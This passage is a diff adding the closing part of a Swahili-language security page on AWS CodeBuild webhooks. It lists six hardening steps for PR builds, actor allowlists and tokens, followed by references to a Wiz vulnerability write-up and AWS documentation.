+1. Lazimisha idhini ya maoni kwa builds za PR (`ALL_PULL_REQUESTS` au `FORK_PULL_REQUESTS`).
+2. Ikiwa unatumia actor allowlists, weka anchors kwa regexes na zihakikishe ziwe sahihi kabisa.
+3. Ongeza vizuizi vya `FILE_PATH` ili kuepuka uhariri usioaminika wa `buildspec.yml` na skripti za CI.
+4. Tenganisha builds za release za kuaminika kutoka kwa builds za PR zisizoaminika katika miradi/majukumu tofauti.
+5. Tumia tokeni za source-provider zilizo na udhibiti wa kina na vibali vidogo (pendelea vitambulisho vilivyotengwa vyenye vibali vya chini).
+6. Endelea kukagua filters za webhook na matumizi ya vyeti vya chanzo.
+
+## Marejeo
+
+- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
+- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
+- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}